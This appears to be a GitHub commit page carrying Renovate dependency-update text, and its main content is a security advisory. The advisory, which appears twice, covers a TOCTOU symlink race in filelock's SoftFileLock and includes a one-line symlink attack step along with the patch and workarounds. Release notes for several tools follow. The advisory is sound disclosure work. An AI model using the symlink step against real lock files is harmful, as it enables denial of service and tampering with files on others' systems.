[https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1) - [https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants) - [https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html) - [https://pypi.org/project/filelock](https://pypi.org/project/filelock) - [https://github.com/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) - [https://nvd.nist.gov/vuln/detail/CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-1375) and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database) ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock [CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) / [GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) / PYSEC-2026-1374 <details> <summary>More information</summary> #### Details ##### Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ##### Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ##### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ##### Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ##### Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ##### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ##### References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) - [https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0) - [https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-qmgc-5h2g-mvrw) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock [CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) / [GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) / PYSEC-2026-1374 <details> <summary>More information</summary> #### Details ##### Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ##### Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ##### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ##### Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ##### Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ##### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ##### References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) - [https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0) - [https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://pypi.org/project/filelock](https://pypi.org/project/filelock) - [https://github.com/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-1374) and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database) ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### Release Notes <details> <summary>tox-dev/py-filelock (filelock)</summary> ### [`v3.30.0`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.30.0) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.7...3.30.0) <!-- Release notes generated using configuration in .github/release.yaml at 3.30.0 --> #### What's Changed - 🎨 style: readability cleanup across the library by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#598](https://redirect.github.com/tox-dev/filelock/pull/598) - 🐛 fix(api): ignore lifetime on native OS locks by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#593](https://redirect.github.com/tox-dev/filelock/pull/593) - 🐛 fix(unix): don't mutate lock file before acquiring flock by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#594](https://redirect.github.com/tox-dev/filelock/pull/594) - soft: evict a non-regular lock file without reading it by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#597](https://redirect.github.com/tox-dev/filelock/pull/597) - 🐛 fix(windows): bind reparse-point check to the locked handle by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#596](https://redirect.github.com/tox-dev/filelock/pull/596) - 🐛 fix(api): make native lock release transactional by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#615](https://redirect.github.com/tox-dev/filelock/pull/615) - 🐛 fix(soft): make marker writes and cleanup transactional by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#614](https://redirect.github.com/tox-dev/filelock/pull/614) - 🐛 fix(windows): open the lock file through NtCreateFile by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#617](https://redirect.github.com/tox-dev/filelock/pull/617) - ✨ feat(api): add context\_error\_policy for dual context failures by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#618](https://redirect.github.com/tox-dev/filelock/pull/618) - 📝 docs: correct Unix lock-file cleanup and flock claims by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#623](https://redirect.github.com/tox-dev/filelock/pull/623) - ✨ feat(api): add close\_error\_policy for post-unlock close errors by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#619](https://redirect.github.com/tox-dev/filelock/pull/619) - 🐛 fix(api): canonicalize singleton keys without following a final symlink by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#621](https://redirect.github.com/tox-dev/filelock/pull/621) - ✨ feat(unix): add fallback\_to\_soft opt-out for native locks by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#622](https://redirect.github.com/tox-dev/filelock/pull/622) - ✨ feat: add lock\_descriptor for a caller-owned descriptor by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#620](https://redirect.github.com/tox-dev/filelock/pull/620) - ✨ feat(api): add preserve\_lock\_file to keep the lock pathname by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#624](https://redirect.github.com/tox-dev/filelock/pull/624) - ✨ feat(api): add on\_acquired post-acquisition hook by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#625](https://redirect.github.com/tox-dev/filelock/pull/625) - 🔧 build(release): towncrier changelog pipeline, backfill, and docs by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#626](https://redirect.github.com/tox-dev/filelock/pull/626) - 📝 docs: drop bot entries and link code refs in the changelog by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#638](https://redirect.github.com/tox-dev/filelock/pull/638) - 🐛 fix(api): validate lifetime values by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#644](https://redirect.github.com/tox-dev/filelock/pull/644) - 🐛 fix(win32): capture process probe errors by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#645](https://redirect.github.com/tox-dev/filelock/pull/645) - 🐛 fix(api): reject dropped lock options by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#646](https://redirect.github.com/tox-dev/filelock/pull/646) - 🐛 fix(api): retain acquisition path identity by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#647](https://redirect.github.com/tox-dev/filelock/pull/647) - 🐛 fix(api): detach grouped release errors by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#648](https://redirect.github.com/tox-dev/filelock/pull/648) - 🐛 fix(descriptor): define unavailable behavior by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#650](https://redirect.github.com/tox-dev/filelock/pull/650) - 🐛 fix(ci): map absolute coverage paths by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#651](https://redirect.github.com/tox-dev/filelock/pull/651) - 🐛 fix(soft): relinquish fd before close by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#649](https://redirect.github.com/tox-dev/filelock/pull/649) - 🐛 fix(async): make cancellation atomic by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#652](https://redirect.github.com/tox-dev/filelock/pull/652) - 🐛 fix(sqlite): isolate forked connections by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#657](https://redirect.github.com/tox-dev/filelock/pull/657) - 🧪 test(conftest): scope the close mock to one descriptor by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#656](https://redirect.github.com/tox-dev/filelock/pull/656) - ✨ feat(soft): add strict soft locks and leases by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#658](https://redirect.github.com/tox-dev/filelock/pull/658) - ✨ feat(strict): replace shared markers with owner claims by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#659](https://redirect.github.com/tox-dev/filelock/pull/659) - 🐛 fix(soft): detect a reused PID via process start time by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#660](https://redirect.github.com/tox-dev/filelock/pull/660) - 🔒 fix(soft): fail safe on transient heartbeat errors by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#661](https://redirect.github.com/tox-dev/filelock/pull/661) - 📝 docs: state the lock trust boundaries once by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#663](https://redirect.github.com/tox-dev/filelock/pull/663) - 👷 ci(perf): add the performance and NFS matrix by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#664](https://redirect.github.com/tox-dev/filelock/pull/664) - Replace prettier with mdformat and yamlfmt by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#667](https://redirect.github.com/tox-dev/filelock/pull/667) - 👷 ci(matrix): add SMB, capability, and matrix docs by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#665](https://redirect.github.com/tox-dev/filelock/pull/665) **Full Changelog**: <tox-dev/filelock@3.29.7...3.30.0> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://redirect.github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMjQuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIyNC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiLCJmaWxlbG9jayIsInJlbm92YXRlIl19--> Co-authored-by: renovate-coop-norge[bot] <151545514+renovate-coop-norge[bot]@users.noreply.github.com>
ansibuddy
added a commit
to ansible/molecule
that referenced
this pull request
Jul 30, 2026
> ℹ️ **Note**
>
> This PR body was truncated due to platform limits.
This PR contains the following updates:
| Package | Type | Update | Change | Pending |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|---|---|---|
| [actions/checkout](https://redirect.github.com/actions/checkout) |
action | major | `v6` → `v7` | `v7.0.1` |

|

|
|
[actions/setup-python](https://redirect.github.com/actions/setup-python)
| action | major | `v6` → `v7` | |

|

|
|
[ansible/ansible-lint](https://redirect.github.com/ansible/ansible-lint)
| repository | minor | `v26.4.0` → `v26.6.0` | |

|

|
|
[astral-sh/uv-pre-commit](https://redirect.github.com/astral-sh/uv-pre-commit)
| repository | patch | `0.11.19` → `0.11.32` | |

|

|
| [biomejs/pre-commit](https://redirect.github.com/biomejs/pre-commit) |
repository | minor | `v2.4.16` → `v2.5.5` | |

|

|
| [codespell](https://redirect.github.com/codespell-project/codespell) |
dependency-groups | patch | `2.4.2` → `2.4.3` | |

|

|
| [coverage](https://redirect.github.com/coveragepy/coveragepy) |
dependency-groups | patch | `7.15.1` → `7.15.2` | |

|

|
| [filelock](https://redirect.github.com/tox-dev/py-filelock) |
dependency-groups | minor | `3.29.7` → `3.32.0` | |

|

|
| [jsh9/pydoclint](https://redirect.github.com/jsh9/pydoclint) |
repository | minor | `0.8.6` → `0.9.1` | |

|

|
| [pipx](https://redirect.github.com/pypa/pipx)
([changelog](https://pipx.pypa.io/latest/changelog/)) |
dependency-groups | minor | `1.15.0` → `1.16.2` | `1.16.3` |

|

|
| [prek](https://prek.j178.dev/)
([source](https://redirect.github.com/j178/prek),
[changelog](https://redirect.github.com/j178/prek/blob/master/CHANGELOG.md))
| dependency-groups | patch | `0.4.9` → `0.4.11` | |

|

|
| [pycqa/pylint](https://redirect.github.com/pycqa/pylint) | repository
| patch | `v4.0.5` → `v4.0.6` | |

|

|
| [ruff](https://docs.astral.sh/ruff)
([source](https://redirect.github.com/astral-sh/ruff),
[changelog](https://redirect.github.com/astral-sh/ruff/blob/main/CHANGELOG.md))
| dependency-groups | minor | `0.15.21` → `0.16.0` | |

|

|
| [tombi](https://redirect.github.com/tombi-toml/tombi) |
dependency-groups | patch | `1.2.0` → `1.2.4` | |

|

|
| [tox](https://redirect.github.com/tox-dev/tox)
([changelog](https://tox.wiki/en/latest/changelog.html)) |
dependency-groups | minor | `4.56.4` → `4.58.0` | |

|

|
| [tox-ansible](https://redirect.github.com/ansible/tox-ansible)
([changelog](https://redirect.github.com/ansible/tox-ansible/releases))
| dependency-groups | patch | `26.7.0` → `26.7.1` | |

|

|
| [tox-uv](https://redirect.github.com/tox-dev/tox-uv#tox-uv)
([changelog](https://redirect.github.com/tox-dev/tox-uv/releases)) |
dependency-groups | minor | `1.35.2` → `1.36.0` | |

|

|
| [types-pyyaml](https://redirect.github.com/python/typeshed)
([changelog](https://redirect.github.com/typeshed-internal/stub_uploader/blob/main/data/changelogs/PyYAML.md))
| dependency-groups | patch | `6.0.12.20260518` → `6.0.12.20260724` | |

|

|
Note: The `pre-commit` manager in Renovate is not supported by the
`pre-commit` maintainers or community. Please do not report any problems
there, instead [create a Discussion in the Renovate
repository](https://redirect.github.com/renovatebot/renovate/discussions/new)
if you have any questions.
---
### Release Notes
<details>
<summary>actions/checkout (actions/checkout)</summary>
###
[`v7.0.0`](https://redirect.github.com/actions/checkout/blob/HEAD/CHANGELOG.md#v700)
[Compare
Source](https://redirect.github.com/actions/checkout/compare/v7.0.0...v7.0.0)
- Block checking out fork PR for pull\_request\_target and workflow\_run
by [@​aiqiaoy](https://redirect.github.com/aiqiaoy) in
[#​2454](https://redirect.github.com/actions/checkout/pull/2454)
- Bump actions/publish-immutable-action from 0.0.3 to 0.0.4 in the
minor-actions-dependencies group across 1 directory by
[@​dependabot](https://redirect.github.com/dependabot)\[bot] in
[#​2458](https://redirect.github.com/actions/checkout/pull/2458)
- Bump flatted from 3.3.1 to 3.4.2 by
[@​dependabot](https://redirect.github.com/dependabot)\[bot] in
[#​2460](https://redirect.github.com/actions/checkout/pull/2460)
- Bump js-yaml from 4.1.0 to 4.2.0 by
[@​dependabot](https://redirect.github.com/dependabot)\[bot] in
[#​2461](https://redirect.github.com/actions/checkout/pull/2461)
- Bump [@​actions/core](https://redirect.github.com/actions/core)
and
[@​actions/tool-cache](https://redirect.github.com/actions/tool-cache)
and Remove uuid by
[@​dependabot](https://redirect.github.com/dependabot)\[bot] in
[#​2459](https://redirect.github.com/actions/checkout/pull/2459)
- upgrade module to esm and update dependencies by
[@​aiqiaoy](https://redirect.github.com/aiqiaoy) in
[#​2463](https://redirect.github.com/actions/checkout/pull/2463)
- Bump the minor-npm-dependencies group across 1 directory with 3
updates by
[@​dependabot](https://redirect.github.com/dependabot)\[bot] in
[#​2462](https://redirect.github.com/actions/checkout/pull/2462)
###
[`v7`](https://redirect.github.com/actions/checkout/blob/HEAD/CHANGELOG.md#v700)
[Compare
Source](https://redirect.github.com/actions/checkout/compare/v6.1.0...v7.0.0)
- Block checking out fork PR for pull\_request\_target and workflow\_run
by [@​aiqiaoy](https://redirect.github.com/aiqiaoy) in
[#​2454](https://redirect.github.com/actions/checkout/pull/2454)
- Bump actions/publish-immutable-action from 0.0.3 to 0.0.4 in the
minor-actions-dependencies group across 1 directory by
[@​dependabot](https://redirect.github.com/dependabot)\[bot] in
[#​2458](https://redirect.github.com/actions/checkout/pull/2458)
- Bump flatted from 3.3.1 to 3.4.2 by
[@​dependabot](https://redirect.github.com/dependabot)\[bot] in
[#​2460](https://redirect.github.com/actions/checkout/pull/2460)
- Bump js-yaml from 4.1.0 to 4.2.0 by
[@​dependabot](https://redirect.github.com/dependabot)\[bot] in
[#​2461](https://redirect.github.com/actions/checkout/pull/2461)
- Bump [@​actions/core](https://redirect.github.com/actions/core)
and
[@​actions/tool-cache](https://redirect.github.com/actions/tool-cache)
and Remove uuid by
[@​dependabot](https://redirect.github.com/dependabot)\[bot] in
[#​2459](https://redirect.github.com/actions/checkout/pull/2459)
- upgrade module to esm and update dependencies by
[@​aiqiaoy](https://redirect.github.com/aiqiaoy) in
[#​2463](https://redirect.github.com/actions/checkout/pull/2463)
- Bump the minor-npm-dependencies group across 1 directory with 3
updates by
[@​dependabot](https://redirect.github.com/dependabot)\[bot] in
[#​2462](https://redirect.github.com/actions/checkout/pull/2462)
</details>
<details>
<summary>actions/setup-python (actions/setup-python)</summary>
###
[`v7.0.0`](https://redirect.github.com/actions/setup-python/compare/v6.3.0...v7.0.0)
[Compare
Source](https://redirect.github.com/actions/setup-python/compare/v7.0.0...v7.0.0)
###
[`v7`](https://redirect.github.com/actions/setup-python/compare/v6.3.0...v7.0.0)
[Compare
Source](https://redirect.github.com/actions/setup-python/compare/v6.3.0...v7.0.0)
</details>
<details>
<summary>ansible/ansible-lint (ansible/ansible-lint)</summary>
###
[`v26.6.0`](https://redirect.github.com/ansible/ansible-lint/releases/tag/v26.6.0)
[Compare
Source](https://redirect.github.com/ansible/ansible-lint/compare/v26.4.0...v26.6.0)
##### Features
- fix: ensure configuration errors are visible to user
([#​5038](https://redirect.github.com/ansible/ansible-lint/issues/5038))
[@​Dotify71](https://redirect.github.com/Dotify71)
##### Fixes
- fix: bump cryptography minimum to >=46.0.6 and refresh lock file
([#​5089](https://redirect.github.com/ansible/ansible-lint/issues/5089))
[@​sudhirverma](https://redirect.github.com/sudhirverma)
- fix: added setup-uv action version pinning to renovate config
([#​5021](https://redirect.github.com/ansible/ansible-lint/issues/5021))
[@​garethahealy](https://redirect.github.com/garethahealy)
- fix: detect role roots in namespace subdirectories
([#​5079](https://redirect.github.com/ansible/ansible-lint/issues/5079))
([#​5080](https://redirect.github.com/ansible/ansible-lint/issues/5080))
[@​santosh7676](https://redirect.github.com/santosh7676)
- fix(docs): remove mkdocstrings plugin to unblock docs CI
([#​5084](https://redirect.github.com/ansible/ansible-lint/issues/5084))
[@​rockygeekz](https://redirect.github.com/rockygeekz)
- fix: suppress ruff PLW0717 to unblock renovate
([#​5077](https://redirect.github.com/ansible/ansible-lint/issues/5077))
[@​rockygeekz](https://redirect.github.com/rockygeekz)
- Fix risky-shell-pipe false positive on multi-line Jinja
([#​5058](https://redirect.github.com/ansible/ansible-lint/issues/5058))
[@​arpitjain099](https://redirect.github.com/arpitjain099)
- Fix: fix mock\_modules generated stubs failing YAML/doc parsing
[#​5031](https://redirect.github.com/ansible/ansible-lint/issues/5031)
([#​5032](https://redirect.github.com/ansible/ansible-lint/issues/5032))
[@​santosh7676](https://redirect.github.com/santosh7676)
- fix: support example format indicator, prevent ansible-lint from
producing load-failure on valid non-YAML examples
([#​5045](https://redirect.github.com/ansible/ansible-lint/issues/5045))
[@​felixfontein](https://redirect.github.com/felixfontein)
- fix: avoid name\[casing] auto-fix crash on multi-segment prefixes
([#​5026](https://redirect.github.com/ansible/ansible-lint/issues/5026))
[@​bishalOps](https://redirect.github.com/bishalOps)
- fix: preserve multi-hash comments on `ansible-lint --fix`
([#​5033](https://redirect.github.com/ansible/ansible-lint/issues/5033))
[@​bishalOps](https://redirect.github.com/bishalOps)
- fix: preserve trailing blank lines when fqcn auto-fix renames a key
([#​5027](https://redirect.github.com/ansible/ansible-lint/issues/5027))
[@​bishalOps](https://redirect.github.com/bishalOps)
- fix(security): update dependencies \[SECURITY]
([#​5061](https://redirect.github.com/ansible/ansible-lint/issues/5061))
@​[renovate\[bot\]](https://redirect.github.com/apps/renovate)
- fix(ci): switch devel tests from py312 to py313
([#​5062](https://redirect.github.com/ansible/ansible-lint/issues/5062))
[@​rockygeekz](https://redirect.github.com/rockygeekz)
- fix: ignore skip lookup across rules
([#​5060](https://redirect.github.com/ansible/ansible-lint/issues/5060))
